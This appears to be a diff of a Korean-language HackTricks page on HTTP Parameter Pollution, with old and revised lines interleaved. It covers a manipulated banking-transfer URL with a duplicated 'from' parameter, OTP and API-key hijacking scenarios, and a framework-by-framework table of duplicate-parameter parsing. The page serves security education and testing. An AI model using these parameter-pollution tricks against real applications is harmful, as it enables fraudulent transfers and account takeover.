* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -19,66 +21,132 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## HTTP 파라미터 오염 (HPP) 개요
|
||||
|
||||
# HTTP 파라미터 오염 (HPP) 개요
|
||||
HTTP 파라미터 오염 (HPP)은 공격자가 HTTP 파라미터를 조작하여 웹 애플리케이션의 동작을 의도하지 않은 방식으로 변경하는 기술입니다. 이 조작은 HTTP 파라미터를 추가, 수정 또는 복제하여 수행됩니다. 이러한 조작의 효과는 사용자에게 직접적으로 보이지 않지만, 서버 측에서 애플리케이션의 기능을 상당히 변경할 수 있으며, 클라이언트 측에서 관찰 가능한 영향을 미칠 수 있습니다.
|
||||
|
||||
HTTP 파라미터 오염 (HPP)은 공격자가 HTTP 파라미터를 조작하여 웹 애플리케이션의 동작을 의도하지 않은 방식으로 변경하는 기술입니다. 이 조작은 HTTP 파라미터를 추가, 수정 또는 복제함으로써 이루어집니다. 이러한 조작의 효과는 사용자에게 직접적으로 보이지 않지만, 서버 측에서 애플리케이션의 기능을 상당히 변경할 수 있으며, 클라이언트 측에서 관찰 가능한 영향을 미칠 수 있습니다.
|
||||
|
||||
## HTTP 파라미터 오염 (HPP) 예시
|
||||
### HTTP 파라미터 오염 (HPP) 예시
|
||||
|
||||
은행 애플리케이션 거래 URL:
|
||||
|
||||
- **원본 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
* **원본 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
추가 `from` 파라미터를 삽입함으로써:
|
||||
|
||||
- **조작된 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
* **조작된 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
거래가 `accountA`가 아닌 `accountC`에 잘못 청구될 수 있으며, 이는 HPP가 거래 또는 비밀번호 재설정, 2FA 설정, API 키 요청과 같은 다른 기능을 조작할 수 있는 가능성을 보여줍니다.
|
||||
거래가 `accountA` 대신 `accountC`에 잘못 청구될 수 있으며, 이는 HPP가 거래 또는 비밀번호 재설정, 2FA 설정, API 키 요청과 같은 다른 기능을 조작할 수 있는 가능성을 보여줍니다.
|
||||
|
||||
### **기술별 파라미터 파싱**
|
||||
#### **기술별 파라미터 파싱**
|
||||
|
||||
- 파라미터가 파싱되고 우선순위가 매겨지는 방식은 기본 웹 기술에 따라 다르며, HPP가 어떻게 악용될 수 있는지에 영향을 미칩니다.
|
||||
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)와 같은 도구는 이러한 기술과 그 파싱 동작을 식별하는 데 도움을 줍니다.
|
||||
* 파라미터가 파싱되고 우선순위가 매겨지는 방식은 기본 웹 기술에 따라 다르며, HPP가 어떻게 악용될 수 있는지에 영향을 미칩니다.
|
||||
* [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)와 같은 도구는 이러한 기술과 그 파싱 동작을 식별하는 데 도움을 줍니다.
|
||||
|
||||
## PHP와 HPP 악용
|
||||
### PHP와 HPP 악용
|
||||
|
||||
**OTP 조작 사례:**
|
||||
|
||||
- **맥락:** 일회용 비밀번호(OTP)를 요구하는 로그인 메커니즘이 악용되었습니다.
|
||||
- **방법:** Burp Suite와 같은 도구를 사용하여 OTP 요청을 가로채고, 공격자는 HTTP 요청에서 `email` 파라미터를 복제했습니다.
|
||||
- **결과:** 최초 이메일을 위한 OTP가 조작된 요청에서 지정된 두 번째 이메일 주소로 전송되었습니다. 이 결함은 의도된 보안 조치를 우회하여 무단 접근을 허용했습니다.
|
||||
* **맥락:** 일회용 비밀번호(OTP)를 요구하는 로그인 메커니즘이 악용되었습니다.
|
||||
* **방법:** Burp Suite와 같은 도구를 사용하여 OTP 요청을 가로채고, 공격자는 HTTP 요청에서 `email` 파라미터를 복제했습니다.
|
||||
* **결과:** 초기 이메일을 위한 OTP가 조작된 요청에서 지정된 두 번째 이메일 주소로 전송되었습니다. 이 결함은 의도된 보안 조치를 우회하여 무단 접근을 허용했습니다.
|
||||
|
||||
이 시나리오는 OTP 생성을 위해 첫 번째 `email` 파라미터를 처리했지만, 전달을 위해 마지막 것을 사용한 애플리케이션의 백엔드에서의 중요한 간과를 강조합니다.
|
||||
이 시나리오는 OTP 생성을 위해 첫 번째 `email` 파라미터를 처리했지만, 전달을 위해 마지막 것을 사용한 애플리케이션 백엔드의 중요한 간과를 강조합니다.
|
||||
|
||||
**API 키 조작 사례:**
|
||||
|
||||
- **시나리오:** 애플리케이션이 사용자가 프로필 설정 페이지를 통해 API 키를 업데이트할 수 있도록 허용합니다.
|
||||
- **공격 벡터:** 공격자는 POST 요청에 추가 `api_key` 파라미터를 추가함으로써 API 키 업데이트 기능의 결과를 조작할 수 있음을 발견합니다.
|
||||
- **기술:** Burp Suite와 같은 도구를 사용하여 공격자는 하나의 합법적인 `api_key` 파라미터와 하나의 악의적인 `api_key` 파라미터를 포함하는 요청을 작성합니다. 서버는 마지막 발생만 처리하여 공격자가 제공한 값으로 API 키를 업데이트합니다.
|
||||
- **결과:** 공격자는 피해자의 API 기능을 제어하게 되어, 무단으로 개인 데이터에 접근하거나 수정할 수 있습니다.
|
||||
* **시나리오:** 애플리케이션이 사용자가 프로필 설정 페이지를 통해 API 키를 업데이트할 수 있도록 허용합니다.
|
||||
* **공격 벡터:** 공격자는 POST 요청에 추가 `api_key` 파라미터를 추가함으로써 API 키 업데이트 기능의 결과를 조작할 수 있음을 발견합니다.
|
||||
* **기술:** Burp Suite와 같은 도구를 사용하여 공격자는 두 개의 `api_key` 파라미터(하나는 합법적이고 하나는 악의적임)를 포함하는 요청을 작성합니다. 서버는 마지막 발생만 처리하여 공격자가 제공한 값으로 API 키를 업데이트합니다.
|
||||
* **결과:** 공격자는 피해자의 API 기능을 제어하게 되어, 무단으로 개인 데이터에 접근하거나 수정할 수 있습니다.
|
||||
|
||||
이 예시는 API 키 관리와 같은 중요한 기능에서 안전한 파라미터 처리가 필요함을 더욱 강조합니다.
|
||||
|
||||
## 파라미터 파싱: Flask vs. PHP
|
||||
### 파라미터 파싱: Flask vs. PHP
|
||||
|
||||
웹 기술이 중복 HTTP 파라미터를 처리하는 방식은 다르며, HPP 공격에 대한 취약성에 영향을 미칩니다:
|
||||
|
||||
- **Flask:** 쿼리 문자열 `a=1&a=2`에서 `a=1`과 같은 첫 번째 파라미터 값을 채택하여 초기 인스턴스를 후속 중복보다 우선시합니다.
|
||||
- **PHP (Apache HTTP 서버에서):** 반대로, 마지막 파라미터 값을 우선시하여 주어진 예에서 `a=2`를 선택합니다. 이 동작은 공격자가 조작한 파라미터를 원본보다 우선시함으로써 HPP 악용을 무심코 촉진할 수 있습니다.
|
||||
* **Flask:** 쿼리 문자열 `a=1&a=2`에서 `a=1`과 같은 첫 번째 파라미터 값을 채택하며, 초기 인스턴스를 후속 중복보다 우선시합니다.
|
||||
* **PHP (Apache HTTP 서버에서):** 반대로, 마지막 파라미터 값을 우선시하여 주어진 예에서 `a=2`를 선택합니다. 이 동작은 공격자가 조작한 파라미터를 원본보다 우선시함으로써 HPP 악용을 무심코 촉진할 수 있습니다.
|
||||
|
||||
## 기술별 파라미터 오염
|
||||
|
||||
결과는 [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)에서 가져왔습니다.
|
||||
|
||||
### PHP 8.3.11 및 Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. 파라미터 이름 뒤의 %00은 무시합니다.
|
||||
2. name\[]를 배열로 처리합니다.
|
||||
3. \_GET은 GET 메서드를 의미하지 않습니다.
|
||||
4. 마지막 파라미터를 선호합니다.
|
||||
|
||||
### Ruby 3.3.5 및 WEBrick 1.8.2
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. & 및 ; 구분자를 사용하여 파라미터를 분리합니다.
|
||||
2. name\[]를 인식하지 않습니다.
|
||||
3. 첫 번째 파라미터를 선호합니다.
|
||||
|
||||
### Spring MVC 6.0.23 및 Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
|
||||
2. POST RequestMapping & PostMapping은 name\[]를 인식합니다.
|
||||
3. name과 name\[]가 모두 존재할 경우 name을 선호합니다.
|
||||
4. 파라미터를 연결합니다. 예: first,last.
|
||||
5. POST RequestMapping & PostMapping은 Content-Type이 있는 쿼리 파라미터를 인식합니다.
|
||||
|
||||
### **NodeJS** 20.17.0 **및** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]를 인식합니다.
|
||||
2. 파라미터를 연결합니다. 예: first,last.
|
||||
|
||||
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]를 인식하지 않습니다.
|
||||
2. 첫 번째 파라미터를 선호합니다.
|
||||
|
||||
### Python 3.12.6 및 Werkzeug 3.0.4 및 Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]를 인식하지 않습니다.
|
||||
2. 첫 번째 파라미터를 선호합니다.
|
||||
|
||||
### Python 3.12.6 및 Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]를 인식하지 않습니다.
|
||||
2. 마지막 파라미터를 선호합니다.
|
||||
|
||||
### Python 3.12.6 및 Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. name\[]를 인식하지 않습니다.
|
||||
2. 마지막 파라미터를 선호합니다.
|
||||
|
||||
## 참고문헌
|
||||
|
||||
## 참고 문헌
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -86,7 +154,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|